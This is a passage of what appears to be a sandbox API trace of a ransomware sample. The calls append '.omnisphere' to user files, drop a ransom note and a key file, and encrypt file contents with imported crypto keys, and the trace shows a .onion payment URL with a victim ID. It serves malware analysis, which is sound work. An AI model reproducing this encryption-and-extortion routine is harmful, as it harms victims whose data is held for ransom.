"c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\2hmvxjbgu86g.lnk.omnisphere")) returned 1 [0118.905] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2HMvxJbgu86g.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2HMvxJbgu86g.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2HMvxJbgu86g.lnk.omnisphere.id" [0118.905] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2HMvxJbgu86g.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\2hmvxjbgu86g.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.906] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.907] CloseHandle (hObject=0x3c0) returned 1 [0118.908] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.908] CloseHandle (hObject=0x288) returned 1 [0118.908] SetEndOfFile (hFile=0x28c) returned 1 [0118.908] FlushFileBuffers (hFile=0x28c) returned 1 [0118.911] CloseHandle (hObject=0x28c) returned 1 [0118.911] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2HMvxJbgu86g.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.912] GetProcessHeap () returned 0x1600000 [0118.912] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16af5a8 [0118.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.912] GetProcessHeap () returned 0x1600000 [0118.912] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693dc8 [0118.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693dc8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.912] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.912] GetProcessHeap () returned 0x1600000 [0118.912] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16871e8 [0118.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16871e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.912] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.912] GetProcessHeap () returned 0x1600000 [0118.912] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2530 [0118.912] PathCombineW (in: pszDest=0x16a2530, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.912] GetProcessHeap () returned 0x1600000 [0118.912] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16a79c0 [0118.912] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.912] WriteFile (in: hFile=0x28c, lpBuffer=0x16a79c0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16a79c0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.912] CloseHandle (hObject=0x28c) returned 1 [0118.913] GetProcessHeap () returned 0x1600000 [0118.913] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16af5a8 | out: hHeap=0x1600000) returned 1 [0118.913] GetProcessHeap () returned 0x1600000 [0118.913] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e788 [0118.913] PathCombineW (in: pszDest=0x162e788, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.913] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.913] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.913] CloseHandle (hObject=0x28c) returned 1 [0118.913] GetProcessHeap () returned 0x1600000 [0118.913] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e788 | out: hHeap=0x1600000) returned 1 [0118.913] GetProcessHeap () returned 0x1600000 [0118.913] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.913] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22424102, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22424102, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x22424102, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0xd3, cFileName="2jZdV25MK2Ss.lnk", cAlternateFileName="2JZDV2~1.LNK")) returned 1 [0118.913] GetProcessHeap () returned 0x1600000 [0118.913] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162cec8 [0118.913] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="2jZdV25MK2Ss.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2jZdV25MK2Ss.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2jZdV25MK2Ss.lnk" [0118.913] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.914] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2jZdV25MK2Ss.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\2jzdv25mk2ss.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.914] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1088) returned 1 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.914] GetTickCount () returned 0x115db78 [0118.915] GetTickCount () returned 0x115db78 [0118.915] GetTickCount () returned 0x115db78 [0118.915] GetTickCount () returned 0x115db78 [0118.915] GetTickCount () returned 0x115db78 [0118.915] GetTickCount () returned 0x115db78 [0118.915] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0118.915] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0118.915] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.915] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.915] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0118.915] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x440, lpName=0x0) returned 0x288 [0118.915] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x440) returned 0x1480000 [0118.916] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668ac0) returned 1 [0118.916] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.916] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.916] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.916] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.916] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.916] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.916] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.916] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.916] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.917] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 